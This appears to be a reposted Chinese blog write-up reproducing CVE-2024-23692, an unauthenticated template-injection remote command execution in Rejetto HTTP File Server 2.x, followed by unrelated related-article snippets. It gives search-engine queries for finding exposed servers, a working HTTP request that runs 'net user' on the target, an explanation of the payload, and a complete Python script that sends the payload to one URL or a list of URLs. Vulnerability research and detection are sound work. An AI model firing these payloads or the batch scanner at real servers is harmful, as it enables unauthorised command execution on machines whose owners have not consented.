【漏洞复现】Rejetto HTTP文件服务器——远程命令执行(CVE-2024-23692)

news2024/9/25 1:22:39

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

Rejetto HTTP文件服务器是一个轻量级的HTTP服务器软件,它允许用户在本地计算机上快速搭建一个文件共享服务。其 2.x系列 存在CVE-2024-23692远程命令执行漏洞,攻击者可在无需登陆的情况下利用模板注入执行任意命令,从而控制服服务器。

漏洞复现

1)信息收集
fofa:app="HFS"
hunter:app.name="HTTP File Server"
在这里插入图片描述
巧合是上帝默默操控世界的方式。
在这里插入图片描述
2)构造数据包

GET /?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1
Host:ip

代码解释:

/?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}

这个payload实际上是一个经过编码的命令,让我们更详细地分析其各个组成部分:

  1. 编码前原始命令

    • 原始命令是这样的:cmd=net user &search=xxx%url:password
    • 这里cmd代表命令,net user是Windows系统中查看用户账户的命令。
    • &search=xxx%url:password部分是一个搜索条件。
  2. URL编码

    • %0A是换行符\n的URL编码形式。
    • %25是百分号%的URL编码形式,所以%25xxx%25代表%xxx%
  3. 脚本或命令行工具语法

    • {.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}这部分是一个特定脚本或命令行工具的语法,用于执行命令并设置参数。
    • .exec是执行命令的标志。
    • {.?cmd.}是一个动态替换为实际命令的占位符。
    • timeout=15设置了命令执行的超时时间限制为15秒。
    • out=abc.指定了输出结果应该被写入到以abc为前缀的文件中,但具体文件扩展名未知。
  4. 输出结果

    • RESULT:{.?n.}{.?n.}{.^abc.}这部分指定了输出结果的格式。
    • {.?n.}可能是用于输出变量或特定值的占位符。
    • {.^abc.}可能表示将输出追加到之前提到的以abc为前缀的文件中。
  5. 分隔符

    • ====用作分隔符,以区分输出中的不同部分。

这个payload可能是用于在远程服务器或网络设备上执行命令,获取用户列表,并搜索包含特定字符串的用户账户。
在这里插入图片描述
在回显中看到了用户名,命令被执行,漏洞存在。

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import http.client
import argparse
from urllib.parse import urlparse
from urllib3.exceptions import InsecureRequestWarning
import ssl

# 定义红色和重置终端输出格式的常量,用于高亮显示漏洞提示
RED = '\033[91m'
RESET = '\033[0m'

def check_vulnerability(url):
    """
    检查给定URL是否存在Rejetto HTTP File Server远程代码执行漏洞(CVE-2024-23692)。
    
    :param url: 待检查的URL字符串。
    """
    try:
        # 忽略HTTPS证书验证错误,以进行漏洞测试
        # 忽略不安全的HTTPS请求警告
        ssl._create_default_https_context = ssl._create_unverified_context

        # 解析URL以获取主机、方案和路径信息
        # 解析URL
        parsed_url = urlparse(url)
        host = parsed_url.netloc
        scheme = parsed_url.scheme
        path = parsed_url.path if parsed_url.path else '/'

        # 构造利用漏洞的攻击路径
        # 构造完整的攻击URL路径
        attack_path = path + "/?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}"

        # 根据URL的方案(HTTP或HTTPS)创建连接对象
        # 根据URL的协议类型,选择合适的连接方式
        if scheme == "https":
            conn = http.client.HTTPSConnection(host, context=ssl._create_unverified_context())
        else:
            conn = http.client.HTTPConnection(host)

        # 发送GET请求到构造的攻击路径
        # 发送请求
        conn.request("GET", attack_path)
        response = conn.getresponse()

        # 读取并解码响应数据
        data = response.read().decode('utf-8')

        # 检查响应状态码是否为200且数据中是否包含'Administrator',以判断漏洞是否存在
        if response.status == 200 and 'Administrator' in data:
            print(f"{RED}URL [{url}] 存在Rejetto HTTP File Server远程代码执行漏洞(CVE-2024-23692){RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")

        # 关闭HTTP连接
        conn.close()
    except Exception as e:
        # 打印在检测过程中发生的任何异常
        print(f"URL [{url}] 在检测过程中发生错误: {e}")

def main():
    """
    程序主入口,负责解析命令行参数并调用漏洞检测函数。
    """
    # 创建命令行参数解析器
    parser = argparse.ArgumentParser(description='检测目标地址是否存在Rejetto HTTP File Server远程代码执行漏洞(CVE-2024-23692)')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    # 解析命令行参数
    args = parser.parse_args()

    # 如果指定了URL参数
    if args.url:
        # 确保URL以HTTP或HTTPS开头,否则添加HTTP
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        # 调用漏洞检测函数
        check_vulnerability(args.url)
    # 如果指定了文件参数
    elif args.file:
        # 读取文件中的每行作为URL,逐个检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 确保URL以HTTP或HTTPS开头,否则添加HTTP
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

运行截图
在这里插入图片描述


多少事,从来急,天地转,光阴迫,一万年太久,只争朝夕。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1931937.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电源芯片MPQ3431A

一、芯片介绍 MPQ3431A是一款具有宽输入范围的固定频率为450kHz的高度集成的升压转换器,其输入电压低至2.7V,采用恒定关断时间(COT)的控制拓扑,可提供快速的瞬态响应。芯片支持通过MODE管脚配置PSM(pulse-…

redis基本类型和订阅

redis-cli -h <host> -p <port> -a <password> 其中&#xff0c;< host>是Redis服务器的主机名或IP地址&#xff0c;< port>是Redis服务器的端口号&#xff0c;< password>是Redis服务器的密码&#xff08;如果有的话&#xff09;。 set …

FPGA CFGBVS 管脚接法

说明 新设计了1个KU040 FPGA板子&#xff0c;回来之后接上JTAG FPGA不识别。做如下检查&#xff1a; 1、电源测试点均正常&#xff1b; 2、查看贴片是否有漏焊&#xff0c;检查无异常&#xff0c;设计上NC的才NC&#xff1b; 3、反复检查JTAG接线是否异常&#xff0c;贴片是…

Large Language Model系列之一:语言模型与表征学习(Language Models and Representation Learning)

语言模型与表征学习&#xff08;Language Models and Representation Learning&#xff09; 1 语言模型 N-Gram模型 from collections import defaultdictsentences [The swift fox jumps over the lazy dog.,The swift river flows under the ancient bridge.,The swift br…

C语言 ——— 编写代码,判断 整型数组 是否 有序

目录 题目要求 代码实现 题目要求 判断 整型数组 是否有序 如果 整型数组 有序输出 sorted&#xff1b;否则输出 unsorted 代码实现 #include<stdio.h> int main() {int arr[10] { 0 };int sz sizeof(arr) / sizeof(arr[0]);//输入for (int i 0; i < sz; i){s…

大数据基础:Doris重点架构原理

文章目录 Doris重点架构原理 一、Apache Doris介绍 二、Apache Doris使用场景 三、Apache Doris架构原理 四、Apache Doris 特点 Doris重点架构原理 一、Apache Doris介绍 基于 MPP 架构的高性能、实时的分析型数据库&#xff0c;以极速易用的特点被人们所熟知&#xff…

YOLOV5的输出[1,25200,85]如何理解和解析

1、25200代表着检测框的数量&#xff0c;比如我们取出第一个检测框a&#xff0c;也就是[1,1&#xff0c;85]&#xff0c;取出来之后我们解析85&#xff0c;前五个为box的中点坐标、长宽值以及置信&#xff0c;后面80我们取Max&#xff08;80个类别&#xff09;中最大值&#xf…

【解决】多个网卡导致nacos注册的服务ip有误问题

解决办法 在本地idea中启动的时候添加启动配置&#xff1a; 方法一 -Dspring.cloud.inetutils.preferred-networks你自己网卡的ip 方法二 -Dspring.cloud.nacos.discovery.ip你自己网卡的ip

朴素模式匹配算法与KMP算法(非重点)

目录 一. 朴素模式匹配算法1.1 什么是字符串的匹配模式1.2 朴素模式匹配算法1.3 通过数组下标实现朴素模式匹配算法 二. KMP算法2.1 算法分析2.2 用代码实现&#xff08;只会出现在选择题&#xff0c;考察代码的概率不大&#xff09; 三. 手算next数组四. KMP算法的进一步优化4…

【CH32V303RCT6】NB模块在CTwing下的OTA升级[实操过程篇]

一、 本篇内容简介 本篇主要通过日志打印和一些云端的显示&#xff0c;来讲解整个SOTA升级的过程。 二、实验现象 2.1、目标代码 2.2、最终效果 当我们升级成功后&#xff0c;会跳转到APP_B执行程序。 三、设计思路 根据电信云平台的OTA设计特性&#xff0c;本次设计是通过…

【自撰写】【国际象棋入门】第11课 对局实例分析(一)

第11课 对局实例分析&#xff08;一&#xff09; 本次课中&#xff0c;我们来分析一例真实的对局。对局弈于“国象联盟”APP&#xff0c;日期为2024年6月13日星期四&#xff0c;我执黑。开局伊始&#xff0c;白方的布局略占优势&#xff0c;中局阶段黑方一直保持着微弱的领先&…

[AWS]CodeCommit的创建与使用

背景&#xff1a;CodeCommit是AWS自带的代码管理仓库&#xff0c;使用起来很不顺手&#xff0c;不如自建的gitlab仓库。不足之处很多&#xff0c;比如&#xff1a;缺乏可视化工具、用户管理麻烦&#xff0c;仓库管理手段贫瘠。 老板为了简单就使用了CodeCommit进行管理&#xf…

一个用于管理多个 Node.js 版本的安装和切换开源工具

大家好&#xff0c;今天给大家分享一个用于管理多个Node.js版本的工具 NVM&#xff08;Node Version Manager&#xff09;&#xff0c;它允许开发者在同一台机器上安装和使用不同版本的Node.js&#xff0c;解决了版本兼容性问题&#xff0c;为开发者提供了极大的便利。 在开发环…

Mongodb多键索引中索引边界的混合

学习mongodb&#xff0c;体会mongodb的每一个使用细节&#xff0c;欢迎阅读威赞的文章。这是威赞发布的第93篇mongodb技术文章&#xff0c;欢迎浏览本专栏威赞发布的其他文章。如果您认为我的文章对您有帮助或者解决您的问题&#xff0c;欢迎在文章下面点个赞&#xff0c;或者关…

ubuntu搭建harbor私仓

1、环境准备 链接: https://pan.baidu.com/s/1q4XBWPd8WdyEn4l253mpUw 提取码: 7ekx --来自百度网盘超级会员v2的分享 准备一台Ubuntu 机器:192.168.124.165 将上面两个文件考入Ubuntu上面 2、安装harbor 安装Docker Harbor仓库以容器方式运行,需要先安装好docker,参考:…

移动终端的安全卫士

随着移动互联网的快速发展&#xff0c;移动端安全风险频发。设备指纹技术凭借高精度的设备识别能力&#xff0c;能够帮助企业提升移动端安全防护能力&#xff0c;精准区分合法与风险行为&#xff0c;跨行业赋能风控&#xff0c;为金融、电商、游戏等多领域提供强大的业务安全保…

不想填邀请码?Xinstall来帮你,一键安装无忧愁

在这个快节奏的时代&#xff0c;每一个点击都承载着用户的期待与耐心。然而&#xff0c;在下载App的过程中&#xff0c;繁琐的邀请码填写往往成为了用户体验的一大障碍。你是否也曾经因为不愿填写邀请码而放弃了一款心仪的App&#xff1f;今天&#xff0c;就让我们一起走进Xins…

STM32智能交通监测系统教程

目录 引言环境准备智能交通监测系统基础代码实现&#xff1a;实现智能交通监测系统 4.1 数据采集模块 4.2 数据处理与控制模块 4.3 通信与网络系统实现 4.4 用户界面与数据可视化应用场景&#xff1a;交通监测与管理问题解决方案与优化收尾与总结 1. 引言 智能交通监测系统通…

1千多看图猜成语游戏ACCESS\EXCEL数据库

今天闲来无事想写个代码自己搞定&#xff0c;我不写代码已经很久了&#xff0c;主要是年纪不小了对新技术的学习比较吃力&#xff0c;兴趣也被生活打磨的体无完肤。今天又捡起VB&#xff08;暴露了年纪&#xff09;搞了一下。 当然&#xff0c;很多事情都是这样&#xff0c;自己…

【入门级】docker

开头处生动的描述一下”码头工人”吧&#xff1a;小鲸鱼&#xff08;登记处Registry&#xff1a;比如docker hub官方&#xff09;背着好多集装箱&#xff08;仓库repository&#xff1a;存放各种各样的镜像&#xff0c;一般存放的是一类镜像&#xff0c;这一类镜像中通过tag 版…